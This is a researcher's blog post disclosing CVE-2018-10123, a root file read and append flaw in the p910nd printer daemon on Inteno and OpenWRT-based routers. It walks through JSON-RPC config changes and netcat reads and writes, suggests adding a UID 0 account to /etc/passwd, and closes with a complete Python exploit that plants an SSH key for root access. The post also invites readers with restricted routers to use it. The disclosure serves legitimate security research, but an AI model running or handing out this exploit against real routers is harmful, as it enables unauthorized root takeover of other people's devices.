pwn910nd - abusing OpenWRT's printer server to become root

I have discovered yet another vulnerability in Inteno's IOPSYS firmware - but I believe this to affect all OpenWRT or LEDE based routers that ship with the printer server p910nd. Any authenticated user can modify the configuration for the printer server in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE ID: CVE-2018-10123.

I've written reports for vulnerabilities on Inteno's devices before (1, 2, 3). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel.

While looking through the configurations an authenticated user can modify, I noticed a section for p910nd. According to the OpenWRT wiki, it is a lightweight daemon responsible for basically being the gateway between a device connected to the router and a printer connected to the router. It is disabled by default, but can easily be enabled in the admin panel. By default, the section looks like this:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"p910nd"}],"id":0}

< [...] {".anonymous": True, ".type": "p910nd", ".name": "cfg02f941", ".index": 0, "device": "/dev/usb/lp0", "port": "0", "bidirectional": "1", "enabled": "0"}

What intrigued me was the device value. This makes sense in an administration perspective, but the average end user should not be able to change this. I was interested in what would happen if we pointed p910nd towards something else - perhaps a file? Having SSH access for testing purposes, I created a test file:

# cat > /tmp/test << EOF
> Testing123
> EOF

I enabled p910nd and changed device to point to our newly created file:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"p910nd",type:"p910nd",values:{enabled:"1",device:"/tmp/test"}}],"id":1}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"p910nd"}],"id":2}

As per the documentation, the service listens on port 9100. I used netcat to connect to that port:

$ ncat 192.168.1.1 9100
Testing123

I was instantly greeted with the contents of the file. I modified the permissions on the test file to see whether we could could read files with root-only access:

# chmod 600 /tmp/test
# ls -al /tmp/test
-rw-------    1 root    root    11 Apr 14 23:23 /tmp/test

Again, we could successfully read the file:

$ ncat 192.168.1.1 9100
Testing123

This makes sense, as the p910nd daemon runs as root on the system. The config also had a value called bidirectional, which was set to 1. Does this mean that we can write to files as well? I typed another test string within netcat to see whether it would be appended to the file. I also pressed enter, to make sure that the string was being sent:

$ ncat 192.168.1.1 9100
Testing123
foobar

Checking whether the file changed at all:

# cat /tmp/test
Testing123
foobar

Indeed, even writing to files is possible! This enables an attacker to easily gain access to the system. For example, one could add a user to /etc/passwd with UID 0 and a known password.

After a bit of testing, I also concluded that the file an attacker wished to write to had to already exist - simply changing the device value to a nonexistant file did not create the file. However, an attacker could still just append to a script that gets executed as root and add whatever code they wish to have executed.

I wrote a proof of concept that appended a line to the /etc/init.d/p910nd script, which on execution would overwrite /etc/dropbear/authorized_keys with my SSH key, allowing me to easily SSH in as root. This script would get executed every time a change was committed through UCI, which uses it to restart the service. The script in action:

The script in action

If you have an Inteno router with restricted access, you can use this PoC to add your own SSH key and log in as root. It may also work with other routers that have p910nd bundled and use the jsonrpc protocol to communicate - you may have to change the IP to also have /ubus at the end. If it uses a different protocol, a different PoC is needed.

This PoC requires Python 3.6 and a module called websocket-client which you can install by evoking pip install websocket-client. First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I've written for IOPSYS devices. The repository also includes an alternative version which simply drops to a root shell on the remote machine, bypassing any SSH key shenanigans.

#!/usr/bin/env python3

# Usage: cve-2018-10123.py <ip> <username> <password> <payload file>
# Details: https://neonsea.uk/blog/2018/04/15/pwn910nd.html

import json
import sys
import socket
import os
import time
from websocket import create_connection


def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [
                "00000000000000000000000000000000",
                "session",
                "login",
                {"username": username, "password": password},
            ],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        key = response.get("result")[1].get("ubus_rpc_session")
    except IndexError:
        return None
    return key


def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [key, namespace, argument, params],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        result = response.get("result")[1]
    except IndexError:
        if response.get("result")[0] == 0:
            return True
        return None
    return result


def sendData(host, port, data=""):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.sendall(data.encode("utf-8"))
    s.shutdown(socket.SHUT_WR)
    s.close()
    return None


def recvData(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    data = s.recv(1024)
    s.shutdown(socket.SHUT_WR)
    s.close()
    return data


def getArguments():
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <ip> <username> <password> <payload file>")
        sys.exit(1)
    else:
        return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]


if __name__ == "__main__":
    host, user, password, file = getArguments()

    with open(file, "r") as f:
        payload = f.read()

    print("Authenticating...")
    key = ubusAuth(host, user, password)
    if not key:
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Enabling p910nd and setting up exploit...")
    pwn910nd = ubusCall(
        host,
        key,
        "uci",
        "set",
        {
            "config": "p910nd",
            "type": "p910nd",
            "values": {
                "enabled": "1",
                "interface": "lan",
                "port": "0",
                "device": "/etc/init.d/p910nd",
            },
        },
    )
    if not pwn910nd:
        print("Enabling p910nd failed!")
        sys.exit(1)

    print("Committing changes...")
    p910ndc = ubusCall(host, key, "uci", "commit", {"config": "p910nd"})
    if not p910ndc:
        print("Committing changes failed!")
        sys.exit(1)

    print("Waiting for p910nd to start...")
    time.sleep(5)

    print("Sending key...")
    sendData(host, 9100, payload)

    print("Triggerring exploit...")
    print("Cleaning up...")

    dis910nd = ubusCall(
        host,
        key,
        "uci",
        "set",
        {
            "config": "p910nd",
            "type": "p910nd",
            "values": {"enabled": "0", "device": "/dev/usb/lp0"},
        },
    )
    if not dis910nd:
        print("Exploit and clean up failed!")
        sys.exit(1)

    p910ndc = ubusCall(host, key, "uci", "commit", {"config": "p910nd"})
    if not p910ndc:
        print("Exploit and clean up failed!")
        sys.exit(1)

    print("Exploitation complete")

Author | nns

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, IoT and Linux/GNU.